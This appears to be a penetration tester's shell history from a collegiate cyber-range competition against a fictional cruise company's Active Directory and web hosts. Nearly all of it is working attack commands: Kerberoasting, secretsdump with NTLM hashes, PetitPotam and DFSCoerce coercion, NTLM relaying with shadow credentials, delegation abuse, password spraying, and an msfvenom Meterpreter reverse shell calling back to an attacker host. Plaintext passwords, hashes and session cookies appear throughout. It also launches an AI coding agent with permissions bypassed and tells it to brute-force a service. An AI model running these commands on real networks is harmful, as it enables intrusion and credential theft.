_raw: : 1768059923:0;impacket-reg SVC_STABILIZE@10.0.1.6 -hashes :$(echo -n '1gyroscope' | iconv -t utf16le | openssl md4 | cut -d' ' -f2) query -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA -v DisableRestrictedAdmin


_raw: : 1768059896:0;nxc smb 10.0.1.6 -u users  -p 'Sails@way!' --continue-on-success


_raw: : 1768059887:0;ssh-keygen -t ed25519 -C "REDACTED_EMAIL"


_raw: : 1768059877:0;cloud-init clean --machine-id -l -s


_raw: : 1768059877:0;apt install qemu-guest-agent


_raw: : 1768059877:0;apt install python3-pip python3-venv curl htop


_raw: : 1768059877:0;apt install openssh-server


_raw: : 1768059877:0;sudo apt install dphys-swapfile


_raw: : 1768059877:0;apt install systemd-zram-generator zram-tools


_raw:
nc 10.0.1.10 6768
clear
mysql -h 10.0.1.13 -u boatgps -p
mysql -h 10.0.1.13 -u boatgps -p --ssl-verify-server-cert=false
nc 10.0.1.10 9091
nc 10.0.1.10 9000
nc 10.0.1.10 6768
clear
vim hash
john hash
john hash -w /usr/share/wordlists/rockyou.txt.gz
gunzip /usr/share/wordlists/rockyou.txt.gz
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
sudo su
mv ~/Downloads/rockyou.txt.gz .
gunzip rockyou.txt.gz
john hash -w rockyou.txt
john -h
john --wordlist=rockyou.txt hash
john --wordlist=rockyou.txt hash --format=md5crypt-long
john hash
clear
curl -fsSL https://claude.ai/install.sh | bash
nano ~/.zshrc
source ~/.zshrc
claude
clear
vim hash
vim hashes
hashcat hashes
hashcat hashes -w rockyou.txt
hashcat hashes -a 0 -w rockyou.txt
hashcat hashes -a 0  rockyou.txt
hashcat hashes -a 0 -m 0  rockyou.txt
mv ~/Downloads/OneRuleToRuleThemAll.rule .
hashcat hashes -a 0 -m 0  rockyou.txt -r OneRuleToRuleThemAll.rule
clear
nc 10.0.1.10
nc 10.0.1.10 9000
clear
cat hashes
clear
claude
clear
sudo su


_raw: : 1768059855:0;sudo gunzip /usr/share/wordlists/rockyou.txt.gz .


_raw: : 1768059827:0;bloodyAD -u 'pentester' -p ')u1h55hm-h(M(7nV' -d allports.local --host 10.0.1.6 get -h


_raw: : 1768059822:0;dnsenum --dnsserver 10.0.1.6 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt allports.local


_raw: : 1768059813:0;sudo docker exec -it sharelatex bash


_raw: : 1768059810:0;dnsrecon -d allports.local -n 10.0.1.6 -t brt


_raw: : 1768059785:0;dnsrecon -d allports.local -n 10.0.1.1 -t brt


_raw: : 1768059737:0;evil-winrm -i 10.0.1.21 -u svc_stabilize -p 1gyroscope


_raw: : 1768059721:0;sudo gunzip /usr/share/wordlists/rockyou.txt.gz .


_raw: : 1768059717:0;gunzip /usr/share/wordlists/rockyou.txt.gz .


_raw: : 1768059709:0;certipy find -u REDACTED_EMAIL -p 1gyroscope -dc-ip 10.0.1.6 -ldap-scheme ldap


_raw: : 1768059705:0;dnsenum --dnsserver 10.0.1.1 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt allports.local


_raw: : 1768059701:0;unzip /usr/share/wordlists/rockyou.txt.gz .


_raw: : 1768059700:0;impacket-GetUserSPNs allports.local/SVC_STABILIZE:'1gyroscope' -dc-ip 10.0.1.6 -request -outputfile kerberoast.txt\


_raw: : 1768059685:0;evil-winrm -i 10.0.1.20 -u svc_stabilize -p 1gyroscope


_raw:
: 1768059667:0;python -m supervisor.supervisor \\
    --config-file configs/password_crack.yaml \\
    --benchmark-mode \\
    --duration 30 \\
    --skip-todos \\


_raw: : 1768059665:0;source .venv/bin/activate && set -a && source .env && set +a


_raw: : 1768059662:0;sudo docker exec -it sharelatex bash


_raw: : 1768059659:0;gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -k --url https://chat.allports.tours/admin/ -H 'Cookie: session=.eJwlTklKBUEMvUutXdSQSjr_Mk1GFEGh-_-VeHcDLt_8ftqZV9zv7fG8XvHWzg9vjxYYk51tWUjuI4xEJRDAzKYf7nNiLE9yy0XEOtYGmsRG2slkjS0DoysLJrGXwIMBtbzc3YQgCA13bk8Ry0gAty6oqdy11ZHXHdf_m9EL233l-fz-jK9iVhxjClnaHJ57e2U3QORcuxaruWhXa79_gV9CzQ.aWJrNw.e_y-keBTwcIGLYJFwo2fc1_H54I' \\


_raw: : 1768059658:0;docker exec -it sharelatex bash


_raw: : 1768059656:0;docker exec -it sharelatex


_raw:
: 1768059655:0;python -m supervisor.supervisor \\
    --config-file configs/password_crack.yaml \\
    --benchmark-mode \\
    --duration 30 \\
    --skip-todos \\


_raw: : 1768059646:0;bloodyAD -u 'pentester' -p ')u1h55hm-h(M(7nV' -d allports.local --host 10.0.1.6 get object 'DC=allports.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=allports,DC=local' --attr nTSecurityDescriptor --resolve-sd | grep -w 'nTSecurityDescriptor.ACL.1'


_raw: : 1768059643:0;bloodyAD -u 'pentester' -p ')u1h55hm-h(M(7nV' -d allports.local --host 10.0.1.6 get object 'DC=allports.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=allports,DC=local' --attr nTSecurityDescriptor --resolve-sd | grep -w 'nTSecurityDescriptor.ACL.1.'


_raw:
: 1768059637:0;python -m supervisor.supervisor \\
    --config-file configs/target_10_0_1_11.yaml \\
    --benchmark-mode \\
    --duration 30 \\
    --skip-todos \\


_raw: : 1768059624:0;bloodyAD -u 'pentester' -p ')u1h55hm-h(M(7nV' -d allports.local --host 10.0.1.6 get object 'DC=allports.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=allports,DC=local' --attr nTSecurityDescriptor --resolve-sd | grep 'nTSecurityDescriptor.ACL.1.'


_raw: : 1768059620:0;sudo apt install seclists


_raw: : 1768059618:0;bloodyAD -u 'pentester' -p ')u1h55hm-h(M(7nV' -d allports.local --host 10.0.1.6 get object 'DC=allports.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=allports,DC=local' --attr nTSecurityDescriptor --resolve-sd | grep 'nTSecurityDescriptor.ACL.1'


_raw:
mysql -u boatgps -h 10.0.1.13 --skip-ssl -p
nxc smb 10.0.1.6 -u 'root' -p ''
nxc smb 10.0.1.6 -u '' -p ''
nxc smb 10.0.1.20 -u '' -p ''
nxc smb 10.0.1.21 -u '' -p ''
nxc smb 10.0.1.20 -u 'root' -p ''
nxc smb 10.0.1.21 -u 'root' -p ''
nxc smb 10.0.1.6 -u '' -p '' --shares
nxc smb 10.0.1.6 -u '' -p '' --groups
nxc smb 10.0.1.6 -u '' -p '' --pass-pol
nxc smb 10.0.1.6 -u '' -p '' --users
nxc help
nxc smb help
ldapdomaindump -u 'APT-DC-01\admin' -p '' 10.0.1.6
ldapdomaindump -u 'APT-DC-01\admin' -p ' ' 10.0.1.6
ldapdomaindump -u 'APT-DC-01\root' -p ' ' 10.0.1.6
ldapdomaindump -u 'APT-DC-01\guest' -p ' ' 10.0.1.6
ldapdomaindump -u 'APT-DC-01\admin' 10.0.1.6
ldapsearch -x -H ldap://10.0.1.6 -b "DC=APT,DC=DC" "(objectClass=*)"
ldapsearch -x -H ldap://10.0.1.6 -b "DC=APT,DC=DC" "(objectClass=user)"
ldapsearch -x -H ldap://10.0.1.6 -b "DC=APT,DC=DC" " "
nmap -p 389 --script ldap-search --script-args 'ldap.qfilter=users' 10.0.1.6
enum4linux -A 10.0.1.6
enum4linux -A 10.0.1.20
enum4linux -A 10.0.1.21
msfconsole
smbclient -L //10.0.1.6 -N
smbclient -L //10.0.1.6 -U administrator
smbclient -L //10.0.1.6 -U guest
msfconsole
netexec rdp 10.0.1.20 -u "administrator" -p /usr/share/wordlists/rockyou.txt
netexec rdp 10.0.1.20 -u "guest" -p /usr/share/wordlists/rockyou.txt
netexec rdp 10.0.1.20 -u "root" -p /usr/share/wordlists/rockyou.txt
netexec rdp 10.0.1.6 -u "root" -p /usr/share/wordlists/rockyou.txt
netexec rdp 10.0.1.6 -u "guest" -p /usr/share/wordlists/rockyou.txt
netexec rdp 10.0.1.6 -u "administrator" -p /usr/share/wordlists/rockyou.txt
xrdp help
man xrdp
rdesktop 10.0.1.20
rdesktop 10.0.1.6
rdesktop 10.0.1.21
rdesktop 10.0.1.6
rdesktop 10.0.1.20
rdesktop 10.0.1.6
mysql -u boatgps -h 10.0.1.13 --skip-ssl -p
mysql -u boatgps -h 10.0.1.99 --skip-ssl -p
nmap -sn 10.0.1.0/24
mysql -u boatgps -h 10.0.1.99 -p
mysql -u boatgps -h 10.0.1.13 -p
telnet 10.0.1.10 6768
rpcinfo -p 10.0.1.6
rpcinfo -p 10.0.1.20
rpcinfo -p 10.0.1.21
rpcclient -U "" 10.0.1.6
rpcclient -U "" 10.0.1.20
rpcclient -U "" 10.0.1.21
rpcclient -U "administrator" 10.0.1.6
rpcclient -U "" -N 10.0.1.6
rdesktop 10.0.1.20
rdesktop 10.0.1.6
telnet 10.0.1.10 6768
telnet 10.0.1.10 9000


_raw: : 1768059597:0;bloodyAD -u 'pentester' -p ')u1h55hm-h(M(7nV' -d allports.local --host 10.0.1.6 get object 'DC=allports.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=allports,DC=local' --attr nTSecurityDescriptor --resolve-sd


_raw: : 1768059589:0;bloodyAD -u 'pentester' -p ')u1h55hm-h(M(7nV' -d allports.local --host 10.0.1.6 get object 'DC=alloprts.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=allports,DC=local' --attr nTSecurityDescriptor --resolve-sd


_raw: : 1768059585:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768059584:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(sAMAccountName=SVC_STABILIZE)" memberOf servicePrincipalName msDS-AllowedToDelegateTo


_raw: : 1768059532:0;nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope -M printnightmare


_raw: : 1768059530:0;find / -type f -name "vulnerability_report_10.0.1.13.txt" 2>/dev/null


_raw: : 1768059527:0;nxc ldap 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope' --admin-count


_raw:
: 1768059517:0;python -m supervisor.supervisor \\
    --config-file configs/target_10_0_1_11.yaml \\
    --benchmark-mode \\
    --duration 30 \\
    --skip-todos \\


_raw: : 1768059505:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768059493:0;nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope -M nopac


_raw: : 1768059458:0;nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --users > users


_raw: : 1768059444:0;certipy find -u REDACTED_EMAIL -p 1gyroscope -dc-ip 10.0.1.6 -vulnerable -ldap-scheme ldap\


_raw:
: 1768059433:0;python -m supervisor.supervisor \\
    --config-file configs/target_10_0_1_11.yaml \\
    --benchmark-mode \\
    --duration 30 \\
    --skip-todos \\


_raw: : 1768059421:0;nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --users


_raw: : 1768059417:0;nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --Users


_raw: : 1768059417:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(memberOf=CN=Domain Admins,CN=Users,DC=allports,DC=local)" sAMAccountName


_raw: : 1768059409:0;nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --shares


_raw: : 1768059374:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768059348:0;impacket-GetUserSPNs allports.local/SVC_STABILIZE:'1gyroscope' -dc-ip 10.0.1.6 -request -outputfile kerberoast.txt


_raw: : 1768059342:0;hydra -L user.txt -p "1gyroscope" -s 443 -V -S -f -t 4 admin.rooms.allports.tours http-get /admin.html


_raw: : 1768059326:0;termshot -scf out.png -- "bloodyAD -u 'pentester' -p ')u1h55hm-h(M(7nV' -d allports.local --host 10.0.1.6 get search --base 'CN=Configuration,DC=allports,DC=local' --filter '(cn=Directory Service)' --attr dSHeuristics"


_raw: : 1768059323:0;certipy find -u REDACTED_EMAIL  -p 1gyroscope -dc-ip 10.0.1.6 -vulnerable -debug


_raw: : 1768059318:0;impacket-secretsdump 'allports.local/DECKHAND-01$' -hashes aad3b435b51404eeaad3b435b51404ee:46e0e9259513229c37a8d7ed0e4c4d79 adminstrator@10.0.1.20 -just-dc


_raw: : 1768059317:0;certipy find -u REDACTED_EMAIL  -p 1gyroscope -dc-ip 10.0.1.6 -vulnerable


_raw: : 1768059313:0;impacket-secretsdump 'allports.local/DECKHAND-01$' -hashes aad3b435b51404eeaad3b435b51404ee:46e0e9259513229c37a8d7ed0e4c4d79 adminstrator@10.0.1.6 -just-dc


_raw: : 1768059311:0;certipy find -u REDACTED_EMAIL  -p 1gyroscope-dc-ip 10.0.1.6 -vulnerable


_raw: : 1768059310:0;bloodyAD -u 'pentester' -p ')u1h55hm-h(M(7nV' -d allports.local --host 10.0.1.6 get search --base 'CN=Configuration,DC=allports,DC=local' --filter '(cn=Directory Service)' --attr dSHeuristics


_raw:
: 1768059303:0;msfconsole\
use exploit/multi/handler\
set payload linux/x86/meterpreter/reverse_tcp\
set LHOST 10.0.254.201\
set LPORT 4444\
exploit


_raw: : 1768059292:0;msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.254.201 LPORT=4444 -f elf -o shell.elf


_raw: : 1768059291:0;impacket-secretsdump 'allports.local/DECKHAND-01$' -hashes aad3b435b51404eeaad3b435b51404ee:46e0e9259513229c37a8d7ed0e4c4d79 10.0.1.6 -just-dc


_raw: : 1768059283:0;impacket-secretsdump 'allports.local/DECKHAND-01$' -hashes aad3b435b51404eeaad3b435b51404ee:46e0e9259513229c37a8d7ed0e4c4d79 @10.0.1.6 -just-dc


_raw: : 1768059279:0;nxc smb apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M gpp_password


_raw: : 1768059259:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M gpp_password


_raw: : 1768059252:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M pre2k


_raw: : 1768059247:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M laps


_raw: : 1768059241:0;nxc smb apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M laps


_raw: : 1768059226:0;nxc smb apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M nopac


_raw: : 1768059209:0;impacket-getST allports.local/'EVILCOMP$':'Password123!' -spn cifs/apt-dc-01.allports.local -impersonate Administrator -dc-ip 10.0.1.6


_raw: : 1768059206:0;nxc smb apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M zerologon


_raw: : 1768059200:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M zerologon


_raw: : 1768059187:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M adcs


_raw: : 1768059185:0;impacket-rbcd allports.local/SVC_STABILIZE:'1gyroscope' -delegate-from 'EVILCOMP$' -delegate-to 'APT-DC-01$' -dc-ip 10.0.1.6 -action write


_raw: : 1768059176:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' --trusted-for-delegation


_raw: : 1768059170:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' --find-delegation


_raw: : 1768059166:0;impacket-addcomputer allports.local/SVC_STABILIZE:'1gyroscope' -dc-ip 10.0.1.6 -computer-name 'EVILCOMP$' -computer-pass 'Password123!'\


_raw: : 1768059151:0;nxc smb windows_hosts -u pentester -p ')u1h55hm-h(M(7nV' -M enum_av


_raw: : 1768059116:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M get-desc-users


_raw: : 1768059111:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M get_desc_users


_raw: : 1768059104:0;nxc smb 10.0.1.6 -u all-ad-users -p '1gyroscope' --continue-on-success


_raw: : 1768059098:0;hydra -L user.txt -P pass.txt -s 443 -V -S -f -t 4 admin.rooms.allports.tours http-get /admin.html


_raw: : 1768059055:0;hydra -L ../../Downloads/common_users.txt -P 2023-200_most_used_passwords.txt -t 1 10.0.1.11 -s 8081 http-get /


_raw: : 1768058995:0;ffuf -w /home/pentester/wordlist-fli:FUZZ -u 'http://10.0.1.13:8080/?route=FUZZ'


_raw: : 1768058988:0;ffuf -w /home/pentester/wordlist-fli:FUZZ \ -u 'http://10.0.1.13:8080/?route=FUZZ'


_raw: : 1768058969:0;nxc smb apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M coerce_plus -o M=Printerbug L=10.0.254.201


_raw: : 1768058885:0;pip3 install impacket --upgrade --break-system-packages


_raw: : 1768058884:0;netexec smb 10.0.1.6 -u valid_users.txt -H 5b6082b3954d91adb870c7afd21cbf9b --continue-on-success


_raw: : 1768058874:0;gobuster dir --url http://10.0.1.11:7700/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms


_raw: : 1768058874:0;netexec smb 10.0.1.6 -u valid_users.txt -H 5b6082b3954d91adb870c7afd21cbf9b -h | grep cont


_raw: : 1768058867:0;git push --set-upstream origin exploitation_checker_agent


_raw: : 1768058860:0;sudo pip3 upgrade impacket --break-system-packages


_raw: : 1768058854:0;git checkout -b exploitation_checker_agent


_raw: : 1768058844:0;git checkout -b enumeration_agent


_raw: : 1768058843:0;sudo pip3 uninstall coercer --break-system-packages


_raw: : 1768058838:0;sudo pip3 uninstall coercer


_raw: : 1768058827:0;echo 'export ANTHROPIC_AUTH_TOKEN="<sk-cptc-your-key-here>"' >> ~/.zshrc


_raw: : 1768058804:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.zshrc


_raw: : 1768058794:0;cp configs/target_10_0_1_11.yaml configs/password_crack.yaml


_raw: : 1768058779:0;sudo python3 -m pip install coercer --break-system-packages


_raw: : 1768058764:0;sudo python3 -m pip install coercer


_raw: : 1768058736:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768058731:0;find / -type f -name "vulnerability_report_10.0.1.13.txt" 2>/dev/null


_raw: : 1768058723:0;john md5 --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5


_raw: : 1768058715:0;john md5 --wordlist=/usr/share/wordlists/rockyou.txt --format=md5


_raw: : 1768058697:0;claude --system-prompt "$(cat master.txt)" --dangerously-skip-permissions


_raw: : 1768058691:0;nxc smb windows_hosts -u pentester -p ')u1h55hm-h(M(7nV' -M coerce_plus -o M=Printerbug L=10.0.254.201


_raw: : 1768058690:84;sudo responder -I eth0 -vv


_raw: : 1768058617:0;john md5 --wordlist=/usr/share/wordlists/rockyou.txt -h


_raw: : 1768058595:0;nxc smb windows_hosts -u pentester -p ')u1h55hm-h(M(7nV' -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1768058593:0;nxc smb windows_hosts -u pentester -p ')u1h55hm-h(M(7nV' -M coerce_plus -o M=Petitpotam L=10.0.254.201 --options


_raw: : 1768058584:0;john md5 --wordlist=/usr/share/wordlists/rockyou.txt


_raw: : 1768058583:0;sudo responder -I eth0 -vv


_raw: : 1768058560:0;nxc smb windows_hosts -u pentester -p ')u1h55hm-h(M(7nV' -M coerce_plus -o L=10.0.254.201 --options


_raw: : 1768058544:0;claude "there is a ballast netcat cli service. bruteforce credentials on it. it is running on 10.0.1.10 on port 9000"


_raw: : 1768058437:0;nxc smb apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M coerce_plus -o M=DFSCoerce L=10.0.254.201


_raw: : 1768058432:0;git clone REDACTED_EMAIL:nationalcptc-teamtools/cptc11-compliance-pod3.git


_raw: : 1768058414:0;git clone https://github.com/modelcontextprotocol/servers/


_raw: : 1768058412:0;git clone https://github.com/modelcontextprotocol/


_raw: : 1768058410:0;git clone https://github.com/nationalcptc-teamtools/cptc11-compliance-pod3.git


_raw: : 1768058386:0;echo "aWJtgA.0UjA-26DAafzuy_2PmM-wX6XJtU" | base64 -d


_raw: : 1768058362:0;echo "eyJjc3JmX3Rva2VuIjoiZjAwNmU1NTY1OGRmZTZiZmVjODQ5Mjk1YzNlNDA0ZWM5ZTA4MDk5OSJ9" | base64 -d


_raw: : 1768058359:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.6


_raw: : 1768058353:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.204 10.0.1.6


_raw: : 1768058300:0;impacket-ntlmrelayx -t ldap://allports.local --shadow-credentials --shadow-target 'APT-DC-01$' -smb2support


_raw:
: 1768058298:0;# Install flask-unsign\
pipx install flask-unsign\
\
# Decode the session\
flask-unsign --decode --cookie '.eJwljjluAzEMAP-iOgVPHf7MgqJI2AiQALt2FeTvVpByphjMTznyjOtebs_zFR_leKxyKxQsakgeLskoznX5JLA6eg6m2gMiYg6TzpiczkDS2CTcSRU6-QSRanWjTRIFytVVdwnbbE2EK_sQHGqcHVFsdQHkBdGg7JHXFef_Df6xX2cez-_P-NomA0YSLZ1W-9DA6qjgq3aatHMUhsqJ5fcNrHA-MA.aWJtCg.5iKVK0tIfHpuqAoG4EbW2XTvJxI'


_raw:
: 1768058290:0;curl 'https://chat.allports.tours/forgot_password' \\
  -X POST \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \\
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate, br, zstd' \\
  -H 'Content-Type: application/x-www-form-urlencoded' \\
  -H 'Origin: https://chat.allports.tours' \\
  -H 'DNT: 1' \\
  -H 'Sec-GPC: 1' \\
  -H 'Connection: keep-alive' \\
  -H 'Referer: https://chat.allports.tours/forgot_password' \\
  -H 'Cookie: session=eyJjc3JmX3Rva2VuIjoiMDE1MjY3MTVlYTI0YjFiNDFlNTJkZjliNzc0MDM2MWU0YTgzMjdlYiJ9.aWJtgg.5zv8WK-imhM62Yhz6vKv8ekZuWA' \\
  -H 'Upgrade-Insecure-Requests: 1' \\
  -H 'Sec-Fetch-Dest: document' \\
  -H 'Sec-Fetch-Mode: navigate' \\
  -H 'Sec-Fetch-Site: same-origin' \\
  -H 'Sec-Fetch-User: ?1' \\
  -H 'Priority: u=0, i' \\
  -H 'TE: trailers' \\
  --data-raw 'csrf_token=IjAxNTI2NzE1ZWEyNGIxYjQxZTUyZGY5Yjc3NDAzNjFlNGE4MzI3ZWIi.aWJtjQ.b2OTFyB1ZV_qyTmISOcbAM30-i4&email=cptc11-finals-5%40cptc.team&submit=Submit&next=' -k


_raw:
: 1768058290:0;# Install flask-unsign\
pip3 install flask-unsign\
\
# Decode the session\
flask-unsign --decode --cookie '.eJwljjluAzEMAP-iOgVPHf7MgqJI2AiQALt2FeTvVpByphjMTznyjOtebs_zFR_leKxyKxQsakgeLskoznX5JLA6eg6m2gMiYg6TzpiczkDS2CTcSRU6-QSRanWjTRIFytVVdwnbbE2EK_sQHGqcHVFsdQHkBdGg7JHXFef_Df6xX2cez-_P-NomA0YSLZ1W-9DA6qjgq3aatHMUhsqJ5fcNrHA-MA.aWJtCg.5iKVK0tIfHpuqAoG4EbW2XTvJxI'


_raw:
: 1768058288:0;curl 'https://chat.allports.tours/forgot_password' \\
  -X POST \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \\
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate, br, zstd' \\
  -H 'Content-Type: application/x-www-form-urlencoded' \\
  -H 'Origin: https://chat.allports.tours' \\
  -H 'DNT: 1' \\
  -H 'Sec-GPC: 1' \\
  -H 'Connection: keep-alive' \\
  -H 'Referer: https://chat.allports.tours/forgot_password' \\
  -H 'Cookie: session=eyJjc3JmX3Rva2VuIjoiMDE1MjY3MTVlYTI0YjFiNDFlNTJkZjliNzc0MDM2MWU0YTgzMjdlYiJ9.aWJtgg.5zv8WK-imhM62Yhz6vKv8ekZuWA' \\
  -H 'Upgrade-Insecure-Requests: 1' \\
  -H 'Sec-Fetch-Dest: document' \\
  -H 'Sec-Fetch-Mode: navigate' \\
  -H 'Sec-Fetch-Site: same-origin' \\
  -H 'Sec-Fetch-User: ?1' \\
  -H 'Priority: u=0, i' \\
  -H 'TE: trailers' \\
  --data-raw 'csrf_token=IjAxNTI2NzE1ZWEyNGIxYjQxZTUyZGY5Yjc3NDAzNjFlNGE4MzI3ZWIi.aWJtjQ.b2OTFyB1ZV_qyTmISOcbAM30-i4&email=cptc11-finals-5%40cptc.team&submit=Submit&next='


_raw: : 1768058250:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.6


_raw: : 1768058216:0;sudo nano /etc/bhapi/bhapi.json


_raw: : 1768058211:0;sudo su /etc/bhapi/bhapi.json


_raw: : 1768058198:0;nxc smb apt-dc-01.allports.local -u svc_stabilize -p '1gyroscope' -M coerce_plus -o M=DFSCoerce L=10.0.254.201


_raw: : 1768058194:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.204 10.0.1.6


_raw: : 1768058182:0;sudo responder -I eth0 -vv


_raw: : 1768058162:0;nxc smb workstations -u svc_stabilize -p '1gyroscope' -M coerce_plus -o M=DFSCoerce L=10.0.254.201


_raw: : 1768058155:0;nxc smb apt-dc-01.allports.local -u svc_stabilize -p '1gyroscope' -M coerce_plus -o M=DFSCoerce L=10.0.254.201


_raw: : 1768058131:0;nxc smb apt-dc-01.allports.local -u svc_stabilize -p '1gyroscope' -M coerce_plus


_raw: : 1768058129:0;docker run -d --name jellyfin --user 1000:1000 -p 8096:8096/tcp -p 7359:7359/udp --volume jellyfin-config:/config --volume jellyfin-cache:/cache --restart=unless-stopped jellyfin/jellyfin


_raw: : 1768058123:0;echo "G3Eg3YnIxkSI1A1ISuUBPavaoWY" | base64 -d


_raw: : 1768058122:0;feroxbuster -u http://10.0.1.10:9091/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1768058118:0;docker run -d --name jellyfin --user 1000:1000 -p 8096:8096/tcp -p 7359:7359/udp --volume jellyfin-config:/config --volume jellyfin-cache:/cache --restart=unless-stopped jellyfin/jellyfin


_raw: : 1768058118:0;git commit -m "adding resources"


_raw: : 1768058104:0;docker run -d --name jellyfin --user uid:gid -p 8096:8096/tcp -p 7359:7359/udp --volume jellyfin-config:/config --volume jellyfin-cache:/cache --restart=unless-stopped jellyfin/jellyfin


_raw: : 1768058101:0;nxc smb apt-dc-01.allports.local -u svc_stabilize -p '1gyroscope' -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1768058099:0;ntlmrelayx.py -t all://deckhand-02.allports.local -smb2support -i


_raw:
: 1768058051:0;claude --system-prompt You are a cybersecurity Risk Manager as an External Cybersecurity Consultant formally engaged to support All Ports Tours during a black box security Re-assessment of safety-critical maritime, passenger and operational technology systems. \
\
Client Name: All Ports Tours. \
Industry: Maritime/ Cruise ship operations \
Assessment type: Black box security re-assessment. \
Security Critiucality:l Extreme high. \
\
You are part from external consultants that you are consulted by APT which is a mid sized cruise organization that uses sunset as a service as slogan for the company that keeps the human life on the cruises its top priority. \
\
APT environment includes the following: \
AD environment  \
AI chat service  \
HVAC API \
bridge navigation system\
VSAT \
Room service website \


_raw: : 1768058042:0;nxc smb apt-dc-01.allports.local -u svc_stabilize -p '1gyroscope' -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1768058031:0;ntlmrelayx.py -t smb://deckhand-02.allports.local -smb2support -i


_raw: : 1768058004:0;nxc smb apt-dc-01.allports.local -u svc_stabilize -p '1gyroscope' -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw: : 1768057996:0;nxc smb apt-dc-01.allports.local -u svc_stabilize -p '1gyroscope' -M coerce_plus -o M=Petitpotam L=eth0


_raw: : 1768057967:0;git commit -m "adding extension"


_raw: : 1768057965:0;nxc smb windows_hosts -u svc_stabilize -p '1gyroscope' -M coerce_plus -o M=Petitpotam L=eth0


_raw: : 1768057960:0;git commit -m "adding extension"


_raw:
: 1768057956:0;git config --global user.name "SawyersPresent"\
git config --global user.email "REDACTED_EMAIL"\


_raw: : 1768057953:0;docker pull jellyfin/jellyfin


_raw: : 1768057931:0;evil-winrm -i 10.0.1.20 -u SVC_STABILIZE -p '1gyroscope'\


_raw: : 1768057930:0;nxc smb windows_hosts -u svc_stabilize -p '1gyroscope' --shares


_raw: : 1768057920:0;nxc smb windows_hosts -u pentester -p ')u1h55hm-h(M(7nV' --shares


_raw: : 1768057892:0;git clone https://github.com/MalwareTech/CVE-2024-47176-Scanner


_raw: : 1768057850:0;termshot -scf out.png -- "nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' -M maq"


_raw: : 1768057849:0;rm test.html ; nano test.html


_raw: : 1768057837:0;git commit -m "adding extension"


_raw: : 1768057830:0;sudo docker exec sharelatex apt install -y texlive-full


_raw: : 1768057823:0;mv claudepingscript claudepingscript.py


_raw: : 1768057821:0;sudo docker exec sharelatex apt update


_raw: : 1768057820:0;sudo docker exec sharelatex apt up


